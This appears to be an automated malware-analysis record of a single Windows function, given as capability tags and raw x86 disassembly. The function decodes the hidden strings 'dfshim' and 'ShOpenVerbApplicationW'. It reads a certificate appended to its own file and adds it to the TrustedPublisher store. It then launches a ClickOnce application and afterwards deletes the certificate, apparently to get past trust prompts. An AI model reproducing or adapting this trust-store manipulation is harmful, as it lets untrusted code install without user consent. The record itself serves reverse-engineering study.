Function at 0x401000
Capabilities:
Contain obfuscated stackstrings
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_LocalAlloc]
push esi
push edi
push 0x208
push 0
mov dword [ebp - 0xc], 0x68736664
mov word [ebp - 8], 0x6d69
mov byte [ebp - 6], 0
mov dword [ebp - 0x24], 0x704f6853
mov dword [ebp - 0x20], 0x65566e65
mov dword [ebp - 0x1c], 0x70416272
mov dword [ebp - 0x18], 0x63696c70
mov dword [ebp - 0x14], 0x6f697461
mov word [ebp - 0x10], 0x576e
mov byte [ebp - 0xe], 0
call ebx
push 0xfa0
mov esi, eax
push 0
mov dword [ebp - 0x3c], esi
mov dword [ebp - 0x48], 4
mov dword [ebp - 0x44], 0xfa0
call ebx
push 0x104
push esi
push 0
mov dword [ebp - 0x34], eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 2
push 0
mov esi, eax
push 0xfffffffffffffffc
push esi
mov dword [ebp - 0x40], esi
call edi
push 0
lea eax, [ebp - 0x50]
push eax
push 4
lea eax, [ebp - 0x2c]
push eax
push esi
mov esi, dword [sym.imp.KERNEL32.dll_ReadFile]
call esi
push dword [ebp - 0x2c]
push 0
call ebx
mov ecx, dword [ebp - 0x2c]
mov ebx, dword [ebp - 0x40]
push 2
push 0
neg ecx
push ecx
push ebx
mov dword [ebp - 0x28], eax
call edi
push 0
lea eax, [ebp - 0x50]
push eax
push dword [ebp - 0x2c]
push dword [ebp - 0x28]
push ebx
call esi
push 0
lea eax, [ebp - 0x38]
push eax
push 0
push 0
push 0
push 0
push 0
push 2
push 0x400
push dword [ebp - 0x3c]
push 1
call dword [sym.imp.CRYPT32.dll_CryptQueryObject]
test eax, eax
je 0x401186
mov esi, dword [sym.imp.CRYPT32.dll_CryptMsgGetParam]
lea eax, [ebp - 0x48]
push eax
lea eax, [ebp - 0x4c]
push eax
push 0
push 0xb
push dword [ebp - 0x38]
call esi
mov ebx, dword [ebp - 0x34]
test eax, eax
je 0x401189
lea eax, [ebp - 0x44]
push eax
mov eax, dword [ebp - 0x4c]
push ebx
dec eax
push eax
push 0xc
push dword [ebp - 0x38]
call esi
test eax, eax
je 0x401189
push dword [ebp - 0x44]
push ebx
push 1
call dword [sym.imp.CRYPT32.dll_CertCreateCertificateContext]
push str.TrustedPublisher
push 0
mov edi, eax
call dword [sym.imp.CRYPT32.dll_CertOpenSystemStoreA]
mov esi, eax
test edi, edi
je 0x40118f
test esi, esi
je 0x40118f
lea eax, [ebp - 0x30]
push eax
push 1
push edi
push esi
call dword [sym.imp.CRYPT32.dll_CertAddCertificateContextToStore]
jmp 0x40118f
mov ebx, dword [ebp - 0x34]
mov edi, dword [ebp - 0x30]
mov esi, dword [ebp - 0x30]
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea ecx, [ebp - 0x24]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0
push dword [ebp - 0x28]
push 0
push 0
call eax
push 0x9c40
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x30]
test eax, eax
je 0x4011c8
push eax
call dword [sym.imp.CRYPT32.dll_CertDeleteCertificateFromStore]
push dword [ebp - 0x38]
call dword [sym.imp.CRYPT32.dll_CryptMsgClose]
push edi
call dword [sym.imp.CRYPT32.dll_CertFreeCertificateContext]
push 0
push esi
call dword [sym.imp.CRYPT32.dll_CertCloseStore]
mov esi, dword [sym.imp.KERNEL32.dll_LocalFree]
push ebx
call esi
push dword [ebp - 0x40]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0x3c]
call esi
push dword [ebp - 0x28]
call esi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
mov eax, 1
pop ebx
call fcn.00401215
mov esp, ebp
pop ebp
ret 0x10